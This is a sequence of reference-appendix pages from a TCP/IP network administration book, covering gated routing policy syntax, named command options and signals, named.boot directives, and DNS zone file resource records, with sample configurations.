An AS path regular expression is a regular expression composed of autonomous system numbers and special operators. Table 13.1 lists the AS path operators. The AS path operator operates on an AS path term, which is an autonomous system number, a dot (.), which matches any autonomous system number, or a parentheses-enclosed subexpression.

Table B.1: AS Path Operators
Symbol | Meaning
{m,n} | At least m and at most n repetitions.
{m} | Exactly m repetitions.
{m,} | m or more repetitions.
* | 0 or more repetitions.
+ | 1 or more repetitions.
? | 0 or 1 repetition.
aspath_term | aspath_term | Matches either the AS term on the left, or the AS term on the right.

A simple AS path regular expression might be:

import proto bgp aspath 164+ origin any restrict ;

This restricts all routes that have one or more occurrences of autonomous system number 164 in their path vector.

B.10.1 The import Statement

The format of an import statement varies depending on the source protocol. The format of the import statements for the exterior gateway protocols is:

import proto bgp | egp autonomoussystem as_number
[restrict] |
[[preference preference] {
route_filter [restrict | (preference preference)]] ;
} ;

import proto bgp aspath aspath_regexp origin any | igp | egp | incomplete
[restrict] |
[[preference preference] {
route_filter [restrict | (preference preference)]] ;
} ;

BGP and EGP importation may be controlled by autonomous system number. BGP also can control importation using AS path regular expressions. Routes that are rejected by the routing policy are stored in the routing table with a negative preference. A negative preference prevents a route from being installed in the forwarding table or exported to other protocols. Handling rejected routes in this manner alleviates the need to break and re-establish a session if routing policy changes during a reconfiguration.

The format of the import statements for the RIP, HELLO, and redirect protocols is:

import proto rip | hello | redirect
[interface interface_list | gateway gateway_list]
[restrict] |
[[preference preference] {
route_filter [restrict | (preference preference)]] ;
} ;

This statement controls what routes are imported based on the source protocol, interface and gateway. The order of precedence is from the most general (protocol) to the most specific (gateway). Unlike BGP and EGP, these protocols do not save routes that were rejected because these protocols have short update intervals.

The preference option is not used with RIP or HELLO. RIP and HELLO don't use preference to choose between routes of the same protocol. They use the protocol metrics.

The format of the import statement for the OSPF protocol is:

import proto ospfase [tag ospf_tag] [restrict] |
[[preference preference] {
route_filter [restrict | (preference preference)]] ;
} ;

Due to the nature of OSPF, only the importation of ASE routes can be controlled. Furthermore, it is only possible to restrict the importation of OSPF ASE routes when functioning as an AS border router. This requires you to specify an export ospfase statement in addition to the import ospfase statement. Specify an empty export statement to control importation of ASEs when no ASEs are being exported. (See the following section, "The export Statement.") If a tag is specified, the import statement only applies to routes with the tag. OSPF ASE routes that are rejected by policy are stored in the table with a negative preference.

OSPF routes are imported into the gated routing table with a preference of 10. Preference is not used to choose between OSPF ASE routes. OSPF costs are used for that purpose.

B.10.2 The export Statement

The syntax of the export statement is similar to the syntax of the import statement and the meaning of many of the parameters is identical. An important difference between the two statements is that while route importation is controlled by source information, route exportation is controlled by both source and destination. Thus export statements define where the routes will be sent and where they originated. The destination of the route advertisement is defined by the proto clause at the beginning of the export statement. The source of the routes is defined in the export list.

Each export statement varies slightly for each protocol. To advertise routes via EGP and BGP, use this syntax:

export proto bgp | egp as as_number
[restrict] |
[[metric metric] {
export_list ;
}] ;

Routes are exported via EGP and BGP to the specified autonomous system. restrict blocks exports to the AS. Valid BGP or EGP metrics can be specified. If no export list is defined, only the direct routes of the attached interfaces are exported. If an export list is used, it must explicitly specify everything that should be exported.

To advertise routes via RIP and HELLO, use this syntax:

export proto rip | hello
[interface interface_list | gateway gateway_list]
[restrict] |
[[metric metric] {
export_list ;
}] ;

Routes exported by RIP and HELLO are sent via the specified protocol and can be sent through a specifc interface or to a specific gateway. Set metric if you plan to export static or internally generated default routes. The metric option is only used when exporting non-RIP routes via RIP or non-HELLO routes via HELLO.

If no export list is specified, RIP exports direct routes and RIP routes, and HELLO exports direct routes and HELLO routes. If an export list is used it must explicitly specify everything that should be exported.

To advertise routes via OSPF, use this syntax:

export proto osfpase [type 1 | 2] [tag ospf_tag]
[restrict] |
[[metric metric] {
export_list ;
}] ;

Only OSPF ASE routes can be exported by gated. There are two types of OSPF ASE routes, type 1 and type 2. They are described in Chapter 7 and earlier in this appendix. The default type is specified in the ospf protocol statement, but it can be overridden here. The ospf_tag is an arbitrary 32-bit number used to filter routing information. The default tag value is specified in the ospf protocol statement but it can be overridden here.

The source of the routes advertised by a protocol is defined by the export list. Each of the commands listed above contains an export list option. Just like those commands, the export list syntax varies depending on the source protocol of the routes. The commands described above define the protocols that are used to advertise the routes. The export lists shown below describe the protocols from which the routes are obtained. The biggest confusion caused by the export list syntax is that it is almost identical to the syntax shown above. In both cases we define protocols, autonomous systems, interfaces, gateways, and so on. In the first case we are defining the protocols, interfaces, etc., to which routes are sent, and in this case we define the protocols, interfaces, etc., from which routes are recieved.

To export routes learned from BGP and EGP, use this export list syntax:

export proto bgp | egp autonomoussystem as_number
[restrict] |
[[metric metric] {
route_filter [restrict | metric metric] ;
}] ;

This defines routes learned via BGP or EGP from a specific autonomous system. Routes can be restricted, or have a metric applied, based on matching the source AS number or the route filter.

When BGP is configured, gated assigns all routes an AS path. For interior routes, the AS path specifies igp as the origin and no autonomous systems in the AS path (the current AS is added when the route is exported). For EGP routes, the AS path specifies egp as the origin and the source AS as the AS path. For BGP routes, the AS path learned from BGP is used. If you run BGP, the export of all routes may be controlled by the AS path using this syntax:

proto proto | all
aspath aspath_regexp origin any | igp | egp | incomplete
[restrict] |
[[metric metric] {
route_filter [restrict | metric metric] ;
}] ;

The source of the routes can be any one protocol (proto) or all (all) protocols. The importation of routes can be controlled by matching their AS paths against the AS path regular expression (aspath_regexp) or by matching their addresses against the route_filter. Route filters and AS path regular expressions are explained above.

To export routes learned from RIP and HELLO, use this export list syntax:

proto rip | hello
[interface interface_list | gateway gateway_list]
[restrict] |
[[metric metric] {
route_filter [restrict | metric metric] ;
}] ;

The export of RIP and HELLO routes may be controlled by protocol, source interface, source gateway, or route filter.

To export routes learned from OSPF, use this export list syntax:

proto ospf | ospfase
[restrict] |
[[metric metric] {
route_filter [restrict | metric metric] ;
}] ;

The export of OSPF and OSPF ASE routes may be controlled by protocol and route filter. Exporting OSPF routes can also be controlled by tag using the syntax shown below:

proto proto | all tag tag
[restrict] |
[[metric metric] {
route_filter [restrict | metric metric] ;
}] ;

OSPF and RIP version 2 provide a tag field. For all other protocols, the tag is always 0. Routes may be selected based on the contents of the tag field.

There are other sources of routes that are not true routing protocols, and export lists can be defined for these sources. The two export lists for these sources are:

proto direct | static | kernel
[interface interface_list]
[restrict] |
[[metric metric] {
route_filter [restrict | metric metric] ;
}] ;

The export of these routes can be controlled based on the source "protocol" and the source interface. The "protocols" in this case are routes to direct interfaces, static routes, or routes learned from the kernel.

proto default | aggregate
[restrict] |
[[metric metric] {
route_filter [restrict | metric metric] ;
}] ;

The export of these routes may only be controlled based on source "protocol." default refers to routes created by the gendefault option. aggregate refers to routes created by the aggregate statements, the topic of the next section.

Previous: B.9 static Statements | TCP/IP Network Administration | Next: B.11 The Aggregate Statements
B.9 static Statements | Book Index | B.11 The Aggregate Statements


[Appendix B] B.11 The Aggregate Statements

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: B.10 Control Statements Appendix B
A gated Reference 		Next: C. A named Reference

B.11 The Aggregate Statements

Route aggregation is used by regional and national networks to reduce the number of routes advertised. With careful planning, large network providers can announce a few aggregate routes instead of hundreds of client network routes. Enabling aggregation is the main reason that CIDR blocks are allocated as contiguous address blocks.

Most of us don't have hundreds of routes to advertise. But we may have a classless address composed of a few class C address and we may need to tell gated how to handle it. Older versions of gated automatically generated an aggregate route to a natural network using the old Class A, B, and C concept; i.e., interface address 192.168.16.1 created a route to 192.168.16.0. With the advent of classless interdomain routing, this can be the wrong thing to do. gated does not aggregate routes unless it is explicitly configured with the aggregate statement:

aggregate default | address [mask mask | masklen number]
[preference preference] [brief] {
proto proto
[as as_number | tag tag | aspath aspath_regexp]
[restrict] |
[[preference preference] {
route_filter [restrict | (preference preference)]] ;
} ;

Several options are available for the aggregate statement:

preference preference;

Defines the preference of the resulting aggregate route. The default is 130.

brief

Specifies that the AS path of the agregate route should be the longest common AS path. The default is to build an AS path consisting of all contributing AS paths.

proto proto

Only aggregate routes learned from the specified protocol. The value of proto may be any currently configured protocol. This includes the "protocols" direct, static, and kernel, discussed in the previous section; all for all possible protocols; and aggregate for other route aggregations.

as as_number

Only aggregate routes learned from the specified autonomous system.

tag tag

Only aggregate routes with the specified tag.

aspath aspath_regexp

Only aggregate routes that match the specified AS path.

restrict

Indicates routes that are not to be aggregated.

Routes that match the route filters may contribute to the aggregate route. A route may only contribute to an aggregate route that is more general than itself. Any given route may only contribute to one aggregate route, but an aggregate route may contribute to a more general aggregate.

A slight variation of aggregation is the generation of a route based on the existence of certain conditions. The most common usage for this is to create a default based on the presence of a route from a peer on a neighboring backbone. This is done with the generate statement.

generate default | address [mask mask | masklen number]
[preference preference] {
proto proto
[as as_number | tag tag | aspath aspath_regexp]
[restrict] |
[[preference preference] {
route_filter [restrict | preference preference]] ;
} ;
} ;

The generate statement uses many of the same options as the aggregate statement. These options are described earlier in this appendix.

Previous: B.10 Control Statements | TCP/IP Network Administration | Next: C. A named Reference
B.10 Control Statements | Book Index | C. A named Reference


[Appendix C] A named Reference

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: B.11 The Aggregate Statements Appendix C Next: C.2 named.boot Configuration Commands

C. A named Reference

Contents:
The named Command
named.boot Configuration Commands
Zone File Records

This appendix provides detailed information about named syntax and the commands and files used to configure it. This is primarily a reference to use in conjunction with the tutorial information in Chapter 8, Configuring DNS Name Service . This information is useful to any domain administrator.

C.1 The named Command

The server side of DNS is run by the name server daemon, named. The syntax of the named command is: [1]

[1] Sun systems use in.named instead of named.

named [-d level] [-p port[/localport]] [[-b] bootfile] [[-q] [[-r]

The three options used on the named command line are:

-d level

Logs debugging information in the file /usr/tmp/named.run. The argument level is a number from 1 to 9. A higher level number increases the detail of the information logged, but even when level is set to 1, the named.run file grows very rapidly. Whenever you use debugging, keep an eye on the size of the named.run file and use SIGUSR2 to close and remove the file if it gets too large. Signal handling is covered in the next section.

It is not necessary to turn on debugging with the -d option to receive error messages from named. named displays error messages on the console and stores them in the messages, even if debugging is not specified. The -d option provides additional debugging information.

-p port[/localport]

Defines the UDP/TCP port used by named. port is the port number used to connect to the remote name server. localport is the number of the port on which the local name server daemon listens for connections. If the -p option is not specified, the standard port (53) is used. Since port 53 is a well-known port, changing the port number makes the name server inaccessible to standard software packages. Therefore, -p is only used for testing.

-b bootfile

Specifies the file named uses as its configuration file. By default the configuration file is /etc/named.boot, but the -b option allows the administrator to choose another configuration file. Note that the -b is optional. As long as the filename used for bootfile doesn't start with a dash, the -b flag is not required. Any filename written on the named command line is assumed to be the boot file.

-q

Logs all incoming queries. named must be compiled with the QRYLOG option set to enable this type of logging.

-r

Turns off recursion. With this option set, the server will only provide answers for zones for which it is an authoritative server. It will not pursue the query through other servers or zones.

C.1.1 Signal Processing

named handles the following signals:

SIGHUP

Causes named to reread the named.boot file and reload the name server database. named then continues to run with the new configuration. This signal is particularly useful for forcing secondary servers to reload a database from the primary server. Normally the databases are downloaded from the primary server on a periodic basis. Using SIGHUP causes the reload to occur immediately.

SIGINT

Causes named to dump its cache to /usr/tmp/named_dump.db. The dump file contains all of the domain information that the local name server knows. The file begins with the root servers, and marks off every domain under the root that the local server knows anything about. If you examine this file, you'll see that it shows a complete picture of the information the server has learned.

SIGUSR1

Turns on debugging; each subsequent SIGUSR1 signal increases the level of debugging. Debugging information is written to /usr/tmp/named.run just as it is when the -d option is used on the named command line. Debugging does not have to be enabled with the -d option for the SIGUSR1 signal to work. SIGUSR1 allows debugging to be turned on when a problem is suspected, without stopping named and restarting it with the -d option.

SIGUSR2

Turns off debugging and closes /usr/tmp/named.run. After issuing SIGUSR2, you can examine named.run or remove it if it is getting too large.

Optionally, some other signals can be handled by named. These additional signals require named to be compiled with the appropriate options to support the signals:

SIGABRT

Writes statistics data to /var/tmp/named.stats. named must be compiled with -DSTATS for this signal to work.

SIGSYS

Writes profiling data into the /var/tmp directory. named must be compiled with profiling to support this signal.

SIGTERM

Writes back the primary and secondary database files. This is used to save data modified by dynamic updates before the system is shut down. named must be compiled with dynamic updating enabled.

SIGWINCH

Toggles logging of all incoming queries via syslogd. named must be compiled with QRYLOG option to support this.

Previous: B.11 The Aggregate Statements | TCP/IP Network Administration | Next: C.2 named.boot Configuration Commands
B.11 The Aggregate Statements | Book Index | C.2 named.boot Configuration Commands


[Appendix C] C.2 named.boot Configuration Commands

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: C.1 The named Command Appendix C
A named Reference 		Next: C.3 Zone File Records

C.2 named.boot Configuration Commands

The /etc/named.boot file defines the name server configuration and tells named where to obtain the name server database information. named.boot contains the following types of records:

directory directory-path

Defines a default directory used for all subsequent file references anywhere in the named configuration. If named is forced to dump memory, the memory dump is stored in this directory.

primary domain-name file-name

Declares the local name server as the primary master server for the domain specified by domain-name. As a primary server, the system loads the name server database from the local disk file specified by name in the file-name field.

secondary domain-name server-address-list file-name

Makes the local server a secondary master server for the domain identified by domain-name. The server-address-list contains the IP address of at least one other master server for this domain. Multiple addresses can be provided in the list, but at least the primary server's address should be provided. The local server will try each server in the list until it successfully loads the name server database. The local server transfers the entire domain database and stores all of the data it receives in a local file identified by file-name. After completing the transfer, the local server answers all queries for information about the domain with complete authority.

cache . file-name

The cache command points to the file used to initialize the name server cache with a list of root servers. This command starts with the keyword cache, followed by the name of the root domain (.), and ends with the name of the file that contains the root server list. This file can have any name you wish, but it is usually called named.ca, named.root, or root.cache. The cache command is included in every named.boot file. named needs the list of root servers as a starting point from which to locate all other DNS domains.

forwarders server-address server-address ...

The forwarders command provides named with a list of servers to try if it can't resolve a query from its own cache. In the syntax shown, server-address is the IP address of a server on your network that can perform a recursive name server query for the local host. (A recursive query [2] means that the remote server pursues the answer to the query, even if it does not have the answer itself, and returns the answer to the originator.) The servers listed on the forwarders command line (the servers are also called "forwarders") are tried in order until one responds to the query. The listed servers develop an extensive cache that benefits every host that uses them. Because of this, their use is often recommended. If you plan to use forwarders, your network administrator should define the list of forwarders for your network. The forwarders only develop a rich cache if they are used by several hosts.

[2] Chapter 3, Network Services, discusses recursive and nonrecursive name server queries.

slave

The slave command forces the local server to use only the servers listed on the forwarders command line. The slave command can only be used if a forwarders command is also present in the named.boot file. A server that has a slave command in its named.boot file is called a slave server. A slave server does not attempt to contact the authoritative servers for a domain, even if the forwarding servers do not respond to its query. Regardless of the circumstances, a slave server queries only the forwarders. The slave command is used when limited network access makes the forwarders the only servers that can be reached by the local host. The slave command is not used on systems that have full Internet access because it limits their flexibility.

sortlist network network ...

The sortlist command causes named to prefer addresses from the listed networks over addresses from other networks. Normally, DNS sorts the addresses in a response only if the host issuing the query and the name server share a network. In that case, the shared network is the preferred network.

xfrnets address[&mask] ...

The xfrnets command limits zone transfers to hosts with the specified address. The address is written in dotted decimal notation and is intepreted as a network address. The optional mask field is used to change the interpretation of the address. When a bit is on in the mask field, that bit is significant for determining which hosts will be allowed to receive a zone file transfer. For example, xfrnets 172.16.0.0 allows every host on network 172.16 to do zone file transfers, while xfrnets 172.16.12.3&255.255.255.255 limits zone file transfers to the single host 172.16.12.3.

For security reasons, many sites do not want to let everyone list all of the hostnames in their domain. xfrnets limits the ability to retrieve your entire domain to specific, trusted hosts. tcplist is an alternative form of this command maintained for compatibility with older server implementations.

include file

The include command includes the contents of file at the location that the command appears in the boot file. This command can be used for very large configurations that are maintained by different people.

bogusns address address ...

The bogusns command prevents queries from being sent to the name server specified by address. address must be an IP address, not a domain name. This command is used to avoid cache contamination when you know that a remote name server is providing incorrect informatiom. bogusns is only a temporary fix placed in the boot file until the remote domain administrator has a chance to fix the real problem.

limit name value

The limit command changes BIND's internal quotas. value is a number that specifies the new quota setting. k, m, or g, for kilobytes, megabytes, and gigabytes, respectively, can be appended to the new quota value number as appropriate. name is the name of the quota being set. There are four possible values for name: datasize sets the process data size quota; [3] transfers-in sets the number of named transfer subprocesses that BIND may spawn at any one time; transfers-per-ns sets the maximum number of simultaneous zone transfers allowed to any one remote nameserver. There can be multiple limit commands in a boot file - one for each quota that is being set.

[3] This is a kernel quota and therefore can be set only on systems that provide a kernel call to implement this.

options option option ...

The options command enables optional features of BIND. The option keywords are Booleans. Specifying an option on the command line turns on the optional behavior. By default, the optional features are turned off. Valid option values are: query-log - logs all queries via syslogd, which produces a very large amount of log data. forward-only - all queries are to be sent to the forwarders; this is exactly the same as the slave command, though this syntax is now preferred over the slave syntax. fake-iquery - the nameserver responds to inverse queries with a fake reply rather than an error; used if you have some clients that cannot properly handle the error. no-recursion - the name server answers a query for data only in a zone for which it is authoritative; all other queries are answered with a referral to another server. no-fetch-glue - the nameserver does not fetch missing glue records for a query response; the resulting response could be incomplete; it is used with no-recursion to limit cache growth and reduce the chance of cache corruption.

check-names source action

The check-names command tells the name server to check host names against the standards for hostnames defined in RFC 952, and to check non-hostname responses to make sure that they contain nothing but printable characters. The source is the source of the hostname or string data that is being checked. The source can be primary for the primary zone file; secondary for the secondary zone file, or response for the message received during recursive search. The action tells the name server what to do when an error is detected: fail (reject the data; do not load, cache, or forward it); warn (send an error message to the system log); or ignore (process the data as if no error occurred). Multiple check-names commands can appear in a boot file; one for each source of data. The action for each source can be different.

max-fetch value

The max-fetch command performs exactly the same function as the limit transfers-in command described previously. The limit command is now the preferred syntax.

At this writing, an experimental named.boot command is supported in some configurations:

stub domain-name server-address-list file-name

This command declares that this is a "stub" server for the domain specified by domain-name. The stub information is loaded from a server specified in the server-address-list and is stored in the file identified by file-name. The format of the stub command is the same as the secondary command and the functions of the fields in the command are the same. However, the stub command has very limited applicability. It is only used on a primary host that is not secondary for its subordinate domains. In that limited case, it is used to ensure that the primary host has the correct NS records for its subordinate domains.

There is a named.boot command that is no longer widely supported. You'll occasionally encounter descriptions of it in material written about name service, and for that reason it's discussed here. But don't use it in your configurations. It is:

domain name

This command functions in exactly the same way as the domain command used in the resolv.conf file. It is an obsolete command and may not be available in future releases of BIND. You don't need this command because the default domain name is easily defined in resolv.conf.

Previous: C.1 The named Command | TCP/IP Network Administration | Next: C.3 Zone File Records
C.1 The named Command | Book Index | C.3 Zone File Records


[Appendix C] C.3 Zone File Records

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: C.2 named.boot Configuration Commands Appendix C
A named Reference 		Next: D. A dhcpd Reference

C.3 Zone File Records

Two types of entries are used to construct a zone file: control entries that simplify constructing the file, and standard resource records that define the domain data contained in the zone file. While there are several types of standard resource records, there are only two control statements. These are:

$INCLUDE filename

Identifies a file that contains data to be included in the zone file. The data in the included file must be valid control entries or standard resource records. $INCLUDE allows a large zone file to be divided into smaller, more manageable units.

The filename specified on the command line is relative to the directory named on the directory statement in the named.boot file. For example: if the named.boot file for almond contains a directory /etc statement, and a zone file on almond contains an $INCLUDE sales.hosts statement, then the file /etc/sales.hosts would be included in that zone file. If you don't want the filename to be relative to that directory, specify a fully qualified name, such as /usr/dns/sales.hosts.

$ORIGIN domainname

Changes the default domain name used by subsequent records in the zone file. Use this command to put more than one domain in a zone file. For example, an $ORIGIN sales statement in the nuts.com zone file sets the domain name to sales.nuts.com. All subsequent resource records would be relative to this new domain.

The named software uses $ORIGIN statements to organize its own information. Dumping the named database, with the SIGINT signal, produces a single file containing all the information that the server knows. This file, named_dump.db, contains many $ORIGIN entries used to place all of the domains that named knows about into a single file.

These two control entries are helpful for organizing and controlling the data in a zone file, but all of the actual database information comes from standard resource records. All of the files pointed to by named.boot contribute to the DNS database, so all of these files are constructed from standard resource records.

C.3.1 Standard Resource Records

The format of standard resource records, sometimes called RRs, is defined in RFC 1033, the Domain Administrators Operations Guide. The format is:

[name] [ttl] class type data

The individual fields in the standard resource record are:

name

This is the name of the object affected by this resource record. The named object can be as specific as an individual host, or as general as an entire domain. The string entered for name is relative to the current domain unless a fully qualified domain name is used. [4] Certain name values have special meaning. These are:

A blank name field denotes the current named object. The current name stays in force until a new name value is encountered in the name field. This permits multiple RRs to be applied to a single object without having to repeat the object's name for each record.

..

Two dots in the name field refer to the root domain. However, a single dot (the actual name of the root) also refers to the root domain, and is more commonly used.

@

A single at-sign (@) in the name field refers to the current origin. The origin is a domain name derived by the system from the current domain name or explicitly set by the system administrator using the $ORIGIN command.

*

An asterisk in the name field is a wildcard character. It stands for a name composed of any string. It can be combined with a domain name or used alone. Used alone, an asterisk in the named field means that the resource record applies to objects with names composed of any string of characters plus the name of the current domain. Used with a domain name, the asterisk is relative to that domain. For example, *.bitnet. in the name field means any string plus the string .bitnet.

[4] The FQDN must be specified all the way to the root; i.e., it must end with a dot.

ttl

Time-to-live defines the length of time in seconds that the information in this resource record should be kept in the cache. ttl is specified as a numeric value up to eight characters in length. If no value is set for ttl, it defaults to the value defined for the entire zone file in the minimum field of the SOA record.

class

This field defines the address class of the resource record. The Internet address class is IN. All resource records used by Internet DNS have IN in this field, but it is possible for a zone file to hold non-Internet information. For example, information used by the Hesiod server, a name server developed at MIT, is identified by HS in the class field, and chaosnet information is identified by a CH in the class field. All resource records used in this book have an address class of IN.

type

This field indicates the type of data this record provides. For example, the A type RR provides the address of the host identified in the name field. All of the standard resource record types are discussed in this appendix.

data

This field contains the information specific to the resource record. The format and content of the data field vary according to the resource record type. The data field is the meat of the RR. For example, in an A record, the data field contains the IP address.

In addition to the special characters that have meaning in the name field, zone file records use these other special characters:

;

The semicolon is the comment character. Use the semicolon to indicate that the remaining data on the line is a comment.

( )

Parentheses are the continuation characters. Use parentheses to continue data beyond a single line. After an opening parenthesis, all data on subsequent lines is considered part of the current line until a closing parenthesis.

\x

The backslash is an escape character. A non-numeric character following a backslash (\) is taken literally and any special meaning that the character may ordinarily have is ignored. For example, \; means a semicolon - not a comment.

\ddd

The backslash can also be followed by three decimal numbers. When the escape character is used in this manner the decimal numbers are interpreted as an absolute byte value. For example, \255 means the byte value 11111111.

The same general resource record format is used for each of the resource records in a zone file. Each resource record is described below.

C.3.1.1 Start of Authority record

The Start of Authority (SOA) record marks the beginning of a zone, and is usually the first record in a zone file. All of the records that follow are part of the zone declared by the SOA. Each zone has only one SOA record; the next SOA record encountered marks the beginning of another zone. Because a zone file is normally associated with a single zone, it normally contains only one SOA record.

The format of the SOA record is:

[zone] [ttl] IN SOA origin contact (
serial
refresh
retry
expire
minimum
)

The components of the SOA record are:

zone

This is the name of the zone. Usually the SOA name field contains an at-sign (@). When used in an SOA record, the at-sign refers back to the domain name declared in the named.boot primary statement that points to this zone file.

ttl

Time-to-live is left blank on the SOA record.

IN

The address class is IN for all Internet RRs.

SOA

SOA is the resource record type. All the information that follows this is part of the data field and is specific to the SOA record.

Iorigin

This is the hostname of the primary master server for this domain. It is normally written as a fully qualified domain name. For example, almond is the master server for nuts.com, so this field contains almond.nuts.com. in the SOA record for nuts.com.

contact

The email address of the person responsible for this domain is entered in this field. The address is modified slightly. The at-sign (@) that usually appears in an Internet email address is replaced by a dot. Therefore, if david@almond.nuts.com is the mailing address of the administrator of the nuts.com domain, the nuts.com SOA record contains david.almond.nuts.com. in the contact field.

serial

This is the version number of the zone file. It is an eight-digit numeric field usually entered as a simple number, e.g., 117. However, the composition of the number is up to the administrator. Some choose a format that shows the date the zone was updated, e.g., 92031100. Regardless of the format, the important thing is that the serial number must increase every time the data in the zone file is modified.

The serial field is extremely important. It is used by the secondary master servers to determine if the zone file has been updated. To make this determination, a secondary server requests the SOA record from the primary server and compares the serial number of the data it has stored to the serial number received from the primary server. If the serial number has increased, the secondary server requests a full zone transfer. Otherwise it assumes that it has the most current zone data. You must increment the serial number each time you update the zone data. If you don't, the new data will not be disseminated to the secondary servers.

refresh

This specifies the length of time that the secondary server should wait before checking with the primary server to see if the zone has been updated. Every refresh seconds, the secondary server checks the SOA serial number to see if the zone file needs to be reloaded. Secondary servers check the serial numbers of their zones whenever they restart or receive a SIGHUP signal. But it is important to keep the secondary server's database current with the primary server, so named does not rely on these unpredictable events. The refresh interval provides a predictable cycle for reloading the zone that is controlled by the domain administrator.

The value used in refresh is a number, up to eight digits long, that is the maximum number of seconds that the primary and secondary servers' databases can be out of sync. A low refresh value keeps the data on the servers closely synchronized, but a very low refresh value is not usually required. A value set lower than needed places an unnecessary burden on the network and the secondary servers. The value used in refresh should reflect the reality of how often your domain database is updated.

Most sites' domain databases are very stable. Systems are added periodically, but not generally on an hourly basis. When you are adding a new system, you can assign the hostname and address of that system before the system is operational. You can then install this information in the name server database before it is actually needed, ensuring that it is disseminated to the secondary servers long before it has to be used.

If extensive changes are planned, the refresh time can be temporarily reduced while the changes are underway. Therefore, you can normally set refresh time high, reducing load on the network and servers. Two (43200 seconds) to four (21600 seconds) times a day for refresh is adequate for many sites.

The process of retrieving the SOA record, evaluating the serial number and, if necessary, downloading the zone file is called a zone refresh. Thus the name refresh is used for this value.

retry

This defines how long secondary servers should wait before trying again if the primary server fails to respond to a request for a zone refresh. retry is specified in seconds and can be up to eight digits long.

You should not set the retry value too low. If a primary server fails to respond, the server or the network could be down. Quickly retrying a down system gains nothing and costs network resources. A secondary server that backs up a large number of zones can have problems when retry values are short. If the secondary server cannot reach the primary servers for several of its zones, it can become stuck in a retry loop. [5] Avoid problems; use an hour (3600) or a half hour (1800) for the retry value.

[5] The server may alternate between periods when it fails to respond and when it resolves queries, or it may display the error "too many open files."

expire

This defines how long the zone's data should be retained by the secondary servers without receiving a zone refresh. The value is specified in seconds and is up to eight digits long. If after expire seconds the secondary server has been unable to refresh this zone, it should discard all of the data.

expire is normally a very large value. 3600000 seconds (about 42 days) is commonly used. This says that if there has been no answer from the primary server to refresh requests repeated every retry seconds for the last 42 days, discard the data. 42 days is a good value.

minimum

This is the value used as the default ttl in all resource records where an explicit ttl value is not provided. This is a number, up to eight digits long, that specifies how many seconds resource records from this zone should be held in a remote host's cache.

Make this a large value. Most of the records in a zone remain unchanged for long periods of time. Hosts are added to a zone, but hostnames (if they are well chosen) and addresses are not frequently changed. Forcing remote servers to query again for data that has not changed, just because it had a short ttl, is a waste of resources. If you plan to change a record, put a short ttl on that record; don't set the entire zone to a short ttl by setting a low minimum. Use a short minimum only if the entire database is being replaced. Use at least a week (604800) for normal operation.

A sample SOA record for the nuts.com domain is:

@    IN  SOA  almond.nuts.com. david.almond.nuts.com. (
              92031101               ; serial
              43200                  ; refresh twice a day
              3600                   ; retry every hour
              3600000                ; expire after 1000 hours
              2419200                ; default ttl is one month
              )

Notice the serial number in this SOA. The serial number is in the format yymmddvv - where yy is the year, mm is the month, dd is the day, and vv is the version written that day. This type of serial number allows the administrator to track what day the zone was updated. Adding the version number allows for multiple updates in a single day. This zone file was created March 11, 1992, and it is the first update that day.

This SOA record also says that almond is the primary server for this zone and that the person responsible for this zone can be reached at the email address david@almond.nuts.com. The SOA tells the secondary servers to check the zone for changes twice a day and to retry every hour if they don't get an answer. If they retry a thousand times and never get an answer, they should discard the data for this zone. Finally, if an RR in this zone does not have an explicit ttl, it will default to 1 month.

C.3.1.2 Name server record

Name server (NS) resource records identify the authoritative servers for a zone. These records are the pointers that link the domain hierarchy together. NS records in the top-level domains point to the servers for the second-level domains, which in turn contain NS records that point to the servers for their subdomains. Name server records pointing to the servers for subordinate domains are required for these domains to be accessible. Without NS records, the servers for a domain would be unknown.

The format of the NS RR is:

[domain] [ttl] IN NS server

domain

The name of the domain for which the host specified in the server field is an authoritative name server.

ttl

Time-to-live is usually blank.

IN

The address class is IN.

NS

The name server resource record type is NS.

server

The hostname of a computer that provides authoritative name service for this domain.

Usually domains have at least one server that is located outside of the local domain. The server name cannot be specified relative to the local domain; it must be specified as a fully qualified domain name. To be consistent, many administrators use fully qualified names for all servers, even though it is not necessary for servers within the local domain.

C.3.1.3 Address record

The majority of the resource records in a named.hosts zone file [6] are address records. Address records are used to convert hostnames to IP addresses, which is the most common use of the DNS database.

[6] Chapter 8 describes the various named configuration files.

The address RR contains the following:

[host] [ttl] IN A address

host

The name of the host whose address is provided in the data field of this record. Most often the hostname is written relative to the current domain.

ttl

Time-to-live is usually blank.

IN

The address class is IN.

A

The address resource record type is A.

address

The IP address of the host is written here in dotted decimal form, e.g., 128.66.12.2.

A glue record is a special type of address record. Most address records refer to hosts within the zone, but sometimes an address record needs to refer to a host in another zone. This is done to provide the address of a name server for a subordinate domain. Recall that the NS record for a subdomain server identifies the server by name. An address is needed to communicate with that server, so an A record must also be provided. The address record, combined with the name server record, links the domains together - thus the term "glue record."

C.3.1.4 Mail exchanger record

The mail exchanger (MX) record redirects mail to a mail server. It can redirect mail for an individual computer or an entire domain. MX records are extremely useful for domains that contain some systems that don't run mail software. Mail addressed to those systems can be redirected to computers that do run mail software. MX records are also used to simplify mail addressing by redirecting mail to servers that understand the simplified addresses.

The format of the MX RR is:

[name] [ttl] IN MX preference host

name

The name of a host or domain to which the mail is addressed. Think of this as the value that occurs after the @ in a mailing address. Mail addressed to this name is sent to the mail server specified by the MX record's host field.

ttl

Time-to-live is usually blank.

IN

The address class is IN.

MX

The Mail Exchanger resource record type is MX.

preference

A host or domain may have more than one MX record associated with it. The preference field specifies the order in which the mail servers are tried. Servers with low preference numbers are tried first, so the most preferred server has a preference of 0. Preference values are usually assigned in increments of 5 or 10, so that new servers can be inserted between existing servers without editing the old MX records.

host

The name of the mail server to which mail is delivered when it is addressed to the host or domain identified in the name field.

Here is how MX records work. If a remote system understands how to use MX records and has mail to send to a host, it requests the host's MX records. DNS returns all of the MX records for the specified host. The remote server chooses the MX with the lowest preference value and attempts to deliver the mail to that server. If it cannot connect to that server, it will try each of the remaining servers in preference order until it can deliver the mail. If no MX records are returned by DNS, the remote server delivers the mail directly to the host to which the mail is addressed. MX records only define how to redirect mail. The remote system and the mail server perform all of the processing that actually delivers the mail.

Because the remote system will first try to use an MX record, many domain administrators include MX records for every host in the zone. Many of these MX records point right back to the host to which the mail is addressed, e.g., an MX for almond with a host field of almond.nuts.com. These records are used to reduce the processing load of the remote computer. A nice gesture!

